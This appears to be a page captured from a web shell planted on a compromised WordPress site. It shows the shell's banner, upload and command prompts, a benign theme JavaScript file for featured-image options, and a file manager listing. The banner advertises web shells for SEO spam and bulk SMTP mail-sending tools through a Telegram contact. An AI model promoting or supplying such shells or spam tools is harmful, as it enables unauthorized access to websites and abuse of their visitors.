__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import {
	setRatioFor,
	watchOptionsWithPrefix,
	getOptionFor,
	responsiveClassesFor,
} from './helpers'
import { getPrefixFor } from './hero-section'

watchOptionsWithPrefix({
	getPrefix: getPrefixFor,

	getOptionsForPrefix: ({ prefix }) => [
		`${prefix}_featured_image_width`,
		`${prefix}_featured_image_ratio`,
		`${prefix}_featured_image_visibility`,
		`${prefix}_content_style`,
	],

	render: ({ prefix, id }) => {
		const image = document.querySelector(
			'.site-main article .ct-featured-image'
		)

		if (!image) {
			return
		}

		if (
			id === `${prefix}_featured_image_width` ||
			id === `${prefix}_content_style`
		) {
			image.classList.remove('alignwide')
			image.classList.remove('alignfull')

			if (getOptionFor('content_style', prefix) !== 'boxed') {
				if (getOptionFor('featured_image_width', prefix) === 'wide') {
					image.classList.add('alignwide')
				}

				if (getOptionFor('featured_image_width', prefix) === 'full') {
					image.classList.add('alignfull')
				}
			}
		}

		if (id === `${prefix}_featured_image_ratio`) {
			setRatioFor({
				ratio: getOptionFor('featured_image_ratio', prefix),
				el: image.querySelector('.ct-media-container'),
			})
		}

		if (id === `${prefix}_featured_image_visibility`) {
			responsiveClassesFor(
				getOptionFor('featured_image_visibility', prefix),
				image
			)
		}
	},
})

Filemanager

Name Type Size Permission Actions
helpers Folder 0750
single Folder 0750
template-parts Folder 0750
variables Folder 0750
woocommerce Folder 0750
archive.js File 1.28 KB 0640
back-to-top-link.js File 629 B 0640
builder.js File 12.19 KB 0640
comments.js File 2.04 KB 0640
featured_image.js File 1.32 KB 0640
general.js File 469 B 0640
helpers.js File 7.86 KB 0640
hero-section.js File 13.49 KB 0640
location.js File 445 B 0640
misc.js File 273 B 0640
pagination.js File 3.28 KB 0640
sidebar.js File 1.43 KB 0640
single.js File 4.6 KB 0640
variables.js File 11.33 KB 0640
Filemanager